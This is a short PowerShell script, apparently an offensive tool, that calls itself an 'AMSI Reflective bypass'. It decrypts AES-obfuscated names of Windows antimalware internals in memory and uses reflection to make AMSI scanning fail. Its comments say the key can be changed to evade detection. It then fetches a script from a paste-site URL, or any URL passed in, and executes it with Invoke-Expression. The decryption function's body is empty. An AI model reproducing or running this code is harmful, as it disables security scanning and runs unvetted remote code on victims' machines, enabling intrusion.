param(
[switch]$ts,
[string]$u,
[switch]$h
)
$help = @("
A simple AMSI Reflective bypass
)
if ($h) {
Write-Host -Object $help
return
}
Decrypt base64 string Encrypted with AES-128 (string, key, IV)
function Decrypt-StringAES128 {
param (
[Parameter(Mandatory=$true)]
[string]$EncryptedText,
[Parameter(Mandatory=$true)]
[string]$Key,
[Parameter(Mandatory=$true)]
[string]$InitializationVector
)
}
Change This Part to set new Key incase of detection
$key = "1234567890123456"
$iv = "1234567890123456"
Enctypted Flagged strings (should not be change)
$encryptedString1 = '/DIMW3ttMbTXKLQI2baI5w'
$encryptedString2 = '23Acj6eCPo3ShL5+m54DNQ'
Do not change
$repalcement1 = $null
$repalcement2 = $true
In memory decryption
$decryptedString1 = Decrypt-StringAES128 -EncryptedText $encryptedString1 -Key $key -InitializationVector $iv
$decryptedString2 = Decrypt-StringAES128 -EncryptedText $encryptedString2 -Key $key -InitializationVector $iv
Powershell Reflective Setting A*** to Fail
[Ref].Assembly.GetType('System.Management.Automation.'+$decryptedString1).GetField($decryptedString2,'NonPublic,Static').SetValue($repalcement1,$repalcement2)
Change this to execute desierd command freely (Only in memory execution in running PS proccess)
if (-not $u) {
$ts = $true
}
if ($ts) {
$scriptContent = Invoke-WebRequest -Uri https://rentry.org/2mp57/raw -UseBasicParsing
Invoke-Expression -Command $scriptContent
}
if ($u) {
$scriptContent = Invoke-WebRequest -Uri $u -UseBasicParsing
Invoke-Expression -Command $scriptContent
}